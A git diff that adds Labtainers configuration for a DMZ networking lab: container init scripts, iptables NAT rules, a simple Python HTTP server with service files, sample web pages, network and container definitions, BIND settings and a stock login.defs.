+[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/sbin/faux_init new file mode 100755 index 000000000..2a99fffe5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/ulogd2 start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_system/etc/rc.local new file mode 100755 index 000000000..c1d3dedb9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_system/etc/rc.local @@ -0,0 +1,24 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 198.18.0.1 +# +# get ethernet device names for the three interfaces +# +lan1=$(ifconfig | grep -B1 "inet addr:203.0.113.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:198.18.0.3" | awk '$1!="inet" && $1!="--" {print $1}') +# +# Define NAT for traffic from LANs to the WAN +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +iptables --append FORWARD --in-interface $lan1 -j ACCEPT +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +/etc/init.d/dnsmasq restart + +echo "nameserver 198.18.0.1" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_gw/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_bin/treataslocal new file mode 100644 index 000000000..733811f19 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_bin/treataslocal @@ -0,0 +1 @@ +nmap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_system/etc/rc.local new file mode 100755 index 000000000..9f9e0cf63 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 203.0.113.1 +echo "nameserver 203.0.113.1" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/remote_ws/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_bin/fixlocal.sh new file mode 100755 index 000000000..98e8d53b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo systemctl enable httpserver +sudo systemctl start httpserver diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/init.d/httpserver.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/init.d/httpserver.sh new file mode 100755 index 000000000..e2a134b67 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/init.d/httpserver.sh @@ -0,0 +1,62 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpserver +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.d/rc.local new file mode 100755 index 000000000..a21e6578c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.d/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 198.18.1.2 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.local new file mode 100644 index 000000000..e1a419592 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/etc/rc.local @@ -0,0 +1,4 @@ +#!/bin/bash +echo "nameserver 198.18.1.3" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/sbin/faux_init new file mode 100755 index 000000000..f1fc72d95 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +/etc/init.d/httpserver.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/var/www/html/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/var/www/html/index.html new file mode 100644 index 000000000..ac9d0c5d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/_system/var/www/html/index.html @@ -0,0 +1,10 @@ + + + + +

Hunderblunder and Thunder Turkey Ranch

+ +

Watch this space!

+ + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/web_server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/fixlocal.sh new file mode 100755 index 000000000..09b99f94f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# +sudo /usr/bin/set_default_gw.sh 192.168.1.INNER_LAN1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/treataslocal new file mode 100644 index 000000000..733811f19 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_bin/treataslocal @@ -0,0 +1 @@ +nmap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/etc/rc.local new file mode 100755 index 000000000..e1a419592 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/etc/rc.local @@ -0,0 +1,4 @@ +#!/bin/bash +echo "nameserver 198.18.1.3" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_bin/fixlocal.sh new file mode 100755 index 000000000..aa5ffa711 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# +sudo /usr/bin/set_default_gw.sh 192.168.2.INNER_LAN2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/etc/rc.local new file mode 100755 index 000000000..e1a419592 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/etc/rc.local @@ -0,0 +1,4 @@ +#!/bin/bash +echo "nameserver 198.18.1.3" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/etc/rc.local new file mode 100644 index 000000000..c4bb9fd94 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/etc/rc.local @@ -0,0 +1,7 @@ +#!/bin/bash +echo "" > /etc/resolv.conf +echo "nameserver 198.18.1.3" > /etc/resolv.conf +route del -host 172.17.0.1 + +route del default + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/ws3/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/about.txt new file mode 100644 index 000000000..f0cdddc5a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/about.txt @@ -0,0 +1 @@ +Set up a DMZ for an enterprise using iptables. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/parameter.config new file mode 100644 index 000000000..7f5b6991a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# +WEB_IP : RAND_REPLACE_UNIQUE : outer_gw:/etc/rc.local;dns:/var/cache/bind/example.com.db;start.config : WEB_IP : 11 : 125 +INNER_DMZ : RAND_REPLACE_UNIQUE : outer_gw:/etc/rc.local;inner_gw:/etc/rc.local;start.config : INNER_DMZ : 11 : 125 +INNER_LAN1 : RAND_REPLACE_UNIQUE : ws1:/etc/rc.local;inner_gw:/etc/rc.local;start.config : INNER_LAN1 : 140: 192 +INNER_LAN2 : RAND_REPLACE_UNIQUE : ws2:/etc/rc.local;inner_gw:/etc/rc.local;start.config : INNER_LAN2 : 200 : 254 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/start.config new file mode 100644 index 000000000..fcedca177 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/config/start.config @@ -0,0 +1,88 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +GLOBAL_SETTINGS + GRADE_CONTAINER ws1 + HOST_HOME_XFER seed_dir/ + LAB_MASTER_SEED ws1_mike_master_seed + +NETWORK LAN1 + MASK 198.18.1.128/26 + GATEWAY 198.18.1.130 +NETWORK LAN2 + MASK 198.18.1.192/26 + GATEWAY 198.18.1.193 +NETWORK DMZ + MASK 198.18.1.1/25 + GATEWAY 198.18.1.126 +NETWORK WAN + MASK 198.18.0.0/24 + GATEWAY 198.18.0.254 +NETWORK ISP_GW + MASK 10.10.0.0/24 + GATEWAY 10.10.0.254 +NETWORK REMOTE_LAN + MASK 203.0.113.0/24 + GATEWAY 203.0.113.254 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ws1 + USER tom + TERMINAL_GROUP 1 + LAN1 198.18.1.129 +CONTAINER ws2 + USER mary + LAN2 198.18.1.194 + TERMINAL_GROUP 1 +CONTAINER ws3 + USER alice + LAN2 198.18.1.195 + TERMINAL_GROUP 1 +CONTAINER inner_gw + USER ubuntu + LAN1 198.18.1.INNER_LAN1 + LAN2 198.18.1.INNER_LAN2 + DMZ 198.18.1.INNER_DMZ + TERMINAL_GROUP LOCAL +CONTAINER isp + USER ubuntu + WAN 198.18.0.1 + ISP_GW 10.10.0.1 + TERMINALS 0 + +CONTAINER remote_ws + USER hank + REMOTE_LAN 203.0.113.2 + TERMINAL_GROUP remote + ADD-HOST example.com:198.18.1.WEB_IP + ADD-HOST www.example.com:198.18.1.WEB_IP +CONTAINER remote_gw + USER admin + REMOTE_LAN 203.0.113.1 + WAN 198.18.0.3 + TERMINAL_GROUP remote + +CONTAINER web_server + USER admin + DMZ 198.18.1.WEB_IP + TERMINAL_GROUP LOCAL + SCRIPT NONE +CONTAINER outer_gw + # user name of user who interacts with the container. + TERMINAL_GROUP LOCAL + USER admin + WAN 198.18.0.2 + DMZ 198.18.1.2 + +CONTAINER dns + # user name of user who interacts with the container. + USER admin + DMZ 198.18.1.3 + TERMINAL_GROUP LOCAL diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_bin/fixlocal.sh new file mode 100755 index 000000000..4f9567cbf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_bin/fixlocal.sh @@ -0,0 +1,20 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo sed -i '/directory/a dump-file "/var/cache/bind/dump.db";\nforwarders {\n198.18.1.2;\n};\nquery-source port 33333;\nallow-query {any;};' /etc/bind/named.conf.options +# define example.com +echo "include \"/etc/bind/example.conf\";" | sudo tee -a /etc/bind/named.conf.local +sudo chown bind:bind /var/cache/bind/* + +echo "check alive" >> /tmp/fixlocal.output +~/.local/bin/alive.sh 198.18.1.2 +echo "back and alive" >> /tmp/fixlocal.output +date >> /tmp/fixlocal.output +sleep 3 +sudo /etc/init.d/bind9 restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/bind/example.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/bind/example.conf new file mode 100644 index 000000000..5c606d466 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/bind/example.conf @@ -0,0 +1,8 @@ +zone "example.com" { + type master; + file "/var/cache/bind/example.com.db"; +}; +zone "0.1.18.198.in-addr.arpa" { + type master; + file "/var/cache/bind/198.18.1.0"; +}; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. 